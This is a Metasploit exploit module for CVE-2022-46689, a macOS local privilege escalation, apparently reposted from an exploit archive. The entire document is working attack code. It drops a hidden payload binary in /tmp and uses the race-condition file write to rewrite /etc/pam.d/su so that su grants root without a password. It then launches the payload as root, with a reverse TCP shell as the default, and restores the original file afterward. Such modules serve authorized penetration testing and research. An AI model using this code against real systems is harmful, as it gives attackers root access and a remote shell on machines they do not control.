Share
## https://sploitus.com/exploit?id=PACKETSTORM:170848
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Post::File  
include Msf::Post::OSX::Priv  
include Msf::Post::OSX::System  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'macOS Dirty Cow Arbitrary File Write Local Privilege Escalation',  
'Description' => %q{  
An app may be able to execute arbitrary code with kernel privileges  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Ian Beer', # discovery  
'Zhuowei Zhang', # proof of concept  
'timwr' # metasploit integration  
],  
'References' => [  
['CVE', '2022-46689'],  
['URL', 'https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c'],  
['URL', 'https://github.com/zhuowei/MacDirtyCowDemo'],  
],  
'Platform' => 'osx',  
'Arch' => ARCH_X64,  
'SessionTypes' => ['shell', 'meterpreter'],  
'DefaultTarget' => 0,  
'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' },  
'Targets' => [  
[ 'Mac OS X x64 (Native Payload)', {} ],  
],  
'DisclosureDate' => '2022-12-17',  
'Notes' => {  
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],  
'Reliability' => [REPEATABLE_SESSION],  
'Stability' => [CRASH_SAFE]  
}  
)  
)  
register_advanced_options [  
OptString.new('TargetFile', [ true, 'The pam.d file to overwrite', '/etc/pam.d/su' ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
]  
end  
  
def check  
version = Rex::Version.new(get_system_version)  
if version > Rex::Version.new('13.0.1')  
CheckCode::Safe  
elsif version < Rex::Version.new('13.0') && version > Rex::Version.new('12.6.1')  
CheckCode::Safe  
elsif version < Rex::Version.new('10.15')  
CheckCode::Safe  
else  
CheckCode::Appears  
end  
end  
  
def exploit  
if is_root?  
fail_with Failure::BadConfig, 'Session already has root privileges'  
end  
  
unless writable? datastore['WritableDir']  
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"  
end  
  
payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"  
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)  
upload_and_chmodx payload_file, binary_payload  
register_file_for_cleanup payload_file  
  
target_file = datastore['TargetFile']  
current_content = read_file(target_file)  
backup_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"  
unless write_file(backup_file, current_content)  
fail_with Failure::BadConfig, "#{backup_file} is not writable"  
end  
register_file_for_cleanup backup_file  
  
replace_content = current_content.sub('rootok', 'permit')  
  
replace_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"  
unless write_file(replace_file, replace_content)  
fail_with Failure::BadConfig, "#{replace_file} is not writable"  
end  
register_file_for_cleanup replace_file  
  
exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}"  
exploit_exe = exploit_data 'CVE-2022-46689', 'exploit'  
upload_and_chmodx exploit_file, exploit_exe  
register_file_for_cleanup exploit_file  
  
exploit_cmd = "#{exploit_file} #{target_file} #{replace_file}"  
print_status("Executing exploit '#{exploit_cmd}'")  
result = cmd_exec(exploit_cmd)  
print_status("Exploit result:\n#{result}")  
  
su_cmd = "echo '#{payload_file} & disown' | su"  
print_status("Running cmd:\n#{su_cmd}")  
result = cmd_exec(su_cmd)  
unless result.blank?  
print_status("Command output:\n#{result}")  
end  
  
exploit_cmd = "#{exploit_file} #{target_file} #{backup_file}"  
print_status("Executing exploit (restoring) '#{exploit_cmd}'")  
result = cmd_exec(exploit_cmd)  
print_status("Exploit result:\n#{result}")  
end  
  
end